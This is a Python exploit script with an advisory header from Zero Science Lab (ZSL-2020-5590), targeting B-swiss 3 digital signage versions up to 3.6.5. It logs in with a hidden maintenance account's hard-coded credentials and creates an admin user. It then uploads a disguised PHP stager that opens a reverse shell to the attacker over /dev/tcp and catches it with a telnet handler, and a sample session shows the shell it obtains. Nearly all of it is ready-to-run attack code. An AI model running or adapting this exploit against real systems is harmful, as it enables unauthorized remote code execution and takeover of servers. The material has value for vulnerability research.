#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # # B-swiss 3 Digital Signage System 3.6.5 Backdoor Remote Code Execution # # # Vendor: B-Swiss SARL | b-tween Sarl # Product web page: https://www.b-swiss.com # Affected version: 3.6.5 # 3.6.2 # 3.6.1 # 3.6.0 # 3.5.80 # 3.5.40 # 3.5.20 # 3.5.00 # 3.2.00 # 3.1.00 # # Summary: Intelligent digital signage made easy. To go beyond the # possibilities offered, b-swiss allows you to create the communication # solution for your specific needs and your graphic charter. You benefit # from our experience and know-how in the realization of your digital # signage project. # # Desc: The application suffers from an "authenticated" arbitrary # PHP code execution. The vulnerability is caused due to the improper # verification of uploaded files in 'index.php' script thru the 'rec_poza' # POST parameter. This can be exploited to execute arbitrary PHP code # by uploading a malicious PHP script file that will be stored in # '/usr/users' directory. Due to an undocumented and hidden "maintenance" # account 'admin_m' which has the highest privileges in the application, # an attacker can use these hard-coded credentials to authenticate and # use the vulnerable image upload functionality to execute code on the # server. # # ======================================================================================== # lqwrm@metalgear:~/prive$ python3 sign2.py 192.168.10.11 192.168.10.22 7777 # [*] Checking target... # [*] Good to go! # [*] Checking for previous attempts... # [*] All good. # [*] Getting backdoor session... # [*] Got master backdoor cookie: 0c1617103c6f50107d09cb94b3eafeb2 # [*] Starting callback listener child thread # [*] Starting handler on port 7777 # [*] Adding GUI credentials: test:123456 # [*] Executing and deleting stager file # [*] Connection from 192.168.10.11:40080 # [*] You got shell! # id ; uname -or # uid=33(www-data) gid=33(www-data) groups=33(www-data) # 4.15.0-20-generic GNU/Linux # exit # *** Connection closed by remote host *** # [?] Want me to remove the GUI credentials? y # [*] Removing... # [*] t00t! # lqwrm@metalgear:~/prive$ # ======================================================================================== # # Tested on: Linux 5.3.0-46-generic x86_64 # Linux 4.15.0-20-generic x86_64 # Linux 4.9.78-xxxx-std-ipv6-64 # Linux 4.7.0-040700-generic x86_64 # Linux 4.2.0-27-generic x86_64 # Linux 3.19.0-47-generic x86_64 # Linux 2.6.32-5-amd64 x86_64 # Darwin 17.6.0 root:xnu-4570.61.1~1 x86_64 # macOS 10.13.5 # Microsoft Windows 7 Business Edition SP1 i586 # Apache/2.4.29 (Ubuntu) # Apache/2.4.18 (Ubuntu) # Apache/2.4.7 (Ubuntu) # Apache/2.2.22 (Win64) # Apache/2.4.18 (Ubuntu) # Apache/2.2.16 (Debian) # PHP/7.2.24-0ubuntu0.18.04.6 # PHP/5.6.40-26+ubuntu18.04.1+deb.sury.org+1 # PHP/5.6.33-1+ubuntu16.04.1+deb.sury.org+1 # PHP/5.6.31 # PHP/5.6.30-10+deb.sury.org~xenial+2 # PHP/5.5.9-1ubuntu4.17 # PHP/5.5.9-1ubuntu4.14 # PHP/5.3.10 # PHP/5.3.13 # PHP/5.3.3-7+squeeze16 # PHP/5.3.3-7+squeeze17 # MySQL/5.5.49 # MySQL/5.5.47 # MySQL/5.5.40 # MySQL/5.5.30 # MySQL/5.1.66 # MySQL/5.1.49 # MySQL/5.0.77 # MySQL/5.0.12-dev # MySQL/5.0.11-dev # MySQL/5.0.8-dev # phpMyAdmin/3.5.7 # phpMyAdmin/3.4.10.1deb1 # phpMyAdmin/3.4.7 # phpMyAdmin/3.3.7deb7 # WampServer 3.2.0 # Acore Framework 2.0 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Macedonian Information Security Research and Development Laboratory # Zero Science Lab - https://www.zeroscience.mk - @zeroscience # # # Advisory ID: ZSL-2020-5590 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5590.php # # # 13.06.2020 # from http.cookiejar import DefaultCookiePolicy# #yciloPeikooCtluafeD tropmi rajeikooc.ptth mofr from http.cookiejar import CookieJar# oOo #raJeikooC tropmi rajeikooc.ptth mofr from six.moves import input# #-----------------+-----------------# #tupni trompi sevom.xis morf from time import sleep# | 01 | 04 | #peels trompi emit morf import urllib.request# | | | | #tseuqer.billru tropmi import urllib.parse# | | | | #esrap.billru tropmi import telnetlib# | | | #biltenlet tropmi import threading# | | | | #gnidaerht tropmi import requests# | | | | #stseuqer tropmi import socket# | | o | #tekcos tropmi import sys,re# | | | #er,sys tropmi ############## #-----------------+-----------------# ############## ############### oOo ############### ################ | ################ #################### Y #################### ############################ _ ############################ ############################################################################################### class Sign: def __init__(self): self.username = b"\x61\x64\x6d\x69\x6e\x5f\x6d" self.altruser = b"\x62\x2d\x73\x77\x69\x73\x73" self.password = b"\x44\x50\x36\x25\x57\x33\x64" self.agent = "SignageBot/1.02" self.fileid = "251" self.payload = None self.answer = False self.params = None self.rhost = None self.lhost = None self.lport = None self.send = None def env(self): if len(sys.argv) != 4: self.usage() else: self.rhost = sys.argv[1] self.lhost = sys.argv[2] self.lport = int(sys.argv[3]) if not "http" in self.rhost: self.rhost = "http://{}".format(self.rhost) def usage(self): self.roger() print("Usage: python3 {} ".format(sys.argv[0])) print("Example: python3 {} 192.168.10.11:80 192.168.10.22 7777\n".format(sys.argv[0])) exit(0) def roger(self): waddup = """ ____________________ / \\ ! B-swiss 3 ! ! RCE ! \____________________/ ! ! ! ! L_ ! / _)! / /__L ____________/ (____) (____) ____________ (____) \_(____) ! ! ! ! \__/ """ print(waddup) def test(self): print("[*] Checking target...") try: r = requests.get(self.rhost) response = r.text if not "B-swiss" in response: print("[!] Not a b-swiss system") exit(0) if "B-swiss" in response: print("[*] Good to go!") next else: exit(-251) except Exception as e: print("[!] Ney ney: {msg}".format(msg=e)) exit(-1) def login(self): token = "" cj = CookieJar() self.params = {"locator" : "visitor.ProcessLogin", "username" : self.username, "password" : self.password, "x" : "0", "y" : "0"} damato = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) damato.addheaders.pop() damato.addheaders.append(("User-Agent", self.agent)) try: print("[*] Getting backdoor session...") damato.open(self.rhost + "/index.php", urllib.parse.urlencode(self.params).encode('utf-8')) for cookie in cj: token = cookie.value print("[*] Got master backdoor cookie: "+token) except urllib.request.URLError as e: print("[!] Connection error: {}".format(e.reason)) return token def upload(self): j = "\r\n" self.cookies = {"PNU_RAD_LIB" : self.rtoken} self.headers = {"Cache-Control" : "max-age=0", "Content-Type" : "multipart/form-data; boundary=----j", "User-Agent" : self.agent, "Accept-Encoding" : "gzip, deflate", "Accept-Language" : "en-US,en;q=0.9", "Connection" : "close"} self.payload = " /dev/tcp/"+self.lhost+"/"+str(self.lport)+" <&1;rm "+self.fileid+".php'\");" print("[*] Adding GUI credentials: test:123456") # rec_adminlevel values: # ---------------------- # 100000 - "b-swiss Maintenance Admin" (Undocumented privilege) # 7 - "B-swiss admin" <---------------------------------------------------------------------------------------+ # 8 - Other | # | self.send = "------j{}Content-Disposition: form-data; ".format(j)# | self.send += "name=\"locator\"{}Users.Save{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"page\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"sort\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"id\"{}{}{}------j\r\nContent-Disposition: form-data; ".format(j*2,self.fileid,j,j)# | self.send += "name=\"ischildgrid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"inpopup\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"ongridpage\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"rowid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"preview_screenid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# | self.send += "name=\"rec_firstname\"{}TestF{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"rec_lastname\"{}TestL{}------j{}Content-Disposition: form-data; ".format(j*2,j,2)# | self.send += "name=\"rec_email\"{}test@test.cc{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"rec_username\"{}test{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"rec_password\"{}123456{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"rec_cpassword\"{}123456{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# | self.send += "name=\"rec_adminlevel\"{}7{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# <----------+ self.send += "name=\"rec_status\"{}1{}------j{}Content-Disposition: form-data; ".format(j*2,j,j) self.send += "name=\"rec_poza\"; filename=\"Blank.jpg.php\"{}Content-Type: application/octet-stream{}".format(j,j*2) self.send += self.payload+"{}------j{}Content-Disposition: form-data; ".format(j,j) self.send += "name=\"rec_poza_face\"{}C:\\fakepath\\Blank.jpg{}------j{}Content-Disposition: form-data; ".format(j*2,j,j) self.send += "name=\"rec_language\"{}french-sw{}------j{}Content-Disposition: form-data; ".format(j*2,j,j) self.send += "name=\"rec_languages[]\"{}2{}------j{}Content-Disposition: form-data; ".format(j*2,j,j) self.send += "name=\"rec_can_change_password\"{}1{}------j--{}".format(j*2,j,j) requests.post(self.rhost+"/index.php", headers=self.headers, cookies=self.cookies, data=self.send) print("[*] Executing and deleting stager file") r = requests.get(self.rhost+"/usr/users/"+self.fileid+".php") sleep(1) self.answer = input("[?] Want me to remove the GUI credentials? ").strip() if self.answer[0] == "y" or self.answer[0] == "Y": print("[*] Removing...") requests.get(self.rhost+"/index.php?locator=Users.Delete&id="+self.fileid, headers=self.headers, cookies=self.cookies) if self.answer[0] == "n" or self.answer[0] == "N": print("[*] Cool!") print("[*] t00t!") exit(-1) def razmisluju(self): print("[*] Starting callback listener child thread") konac = threading.Thread(name="ZSL", target=self.phone) konac.start() sleep(1) self.upload() def fish(self): r = requests.get(self.rhost+"/usr/users/", verify=False, allow_redirects=False) response = r.text print("[*] Checking for previous attempts...") if not ".php" in response: print("[*] All good.") elif "251.php" in response: print("[!] Stager file \"{}.php\" still present on the server".format(self.fileid)) def phone(self): telnetus = telnetlib.Telnet() print("[*] Starting handler on port {}".format(self.lport)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", self.lport)) while True: try: s.settimeout(7) s.listen(1) conn, addr = s.accept() print("[*] Connection from {}:{}".format(addr[0], addr[1])) telnetus.sock = conn except socket.timeout as p: print("[!] No outgoing calls :( ({msg})".format(msg=p)) print("[+] Check your port mappings or increase timeout") s.close() exit(0) break print("[*] You got shell!") telnetus.interact() conn.close() def main(self): self.env() self.test() self.fish() self.rtoken = self.login() self.razmisluju() if __name__ == '__main__': Sign().main()